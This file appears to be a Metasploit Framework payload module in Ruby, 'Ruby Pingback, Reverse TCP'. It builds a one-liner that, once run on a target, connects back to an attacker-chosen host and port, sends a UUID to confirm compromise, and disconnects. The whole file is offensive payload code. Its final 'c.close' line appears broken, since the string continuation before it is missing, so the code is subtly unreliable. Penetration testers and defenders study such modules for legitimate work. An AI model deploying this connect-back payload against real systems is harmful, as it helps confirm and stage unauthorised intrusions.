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module MetasploitModule
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  CachedSize = 100
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  include Msf::Payload::Single
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  include Msf::Payload::Ruby
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  include Msf::Payload::Pingback
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  include Msf::Payload::Pingback::Options
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  def initialize(info = {})
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    super(merge_info(info,
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      'Name' => 'Ruby Pingback, Reverse TCP',
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      'Description' => 'Connect back to the attacker, sends a UUID, then terminates',
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      'Author' => 'asoto-r7',
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      'License' => MSF_LICENSE,
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      'Platform' => 'ruby',
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      'Arch' => ARCH_RUBY,
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      'Handler' => Msf::Handler::ReverseTcp,
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      'Session' => Msf::Sessions::Pingback,
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      'PayloadType' => 'ruby'
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    ))
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  end
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  def generate(_opts = {})
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    # return prepends(ruby_string)
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    return ruby_string
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  end
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  def ruby_string
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    self.pingback_uuid ||= self.generate_pingback_uuid
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    lhost = datastore['LHOST']
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    lhost = "[#{lhost}]" if Rex::Socket.is_ipv6?(lhost)
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    return "require'socket';" \
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      "c=TCPSocket.new'#{lhost}',#{datastore['LPORT'].to_i};" \
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      "c.puts'#{[[self.pingback_uuid].pack('H*')].pack('m0')}'.unpack('m0');"
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      "c.close"
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  end
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end
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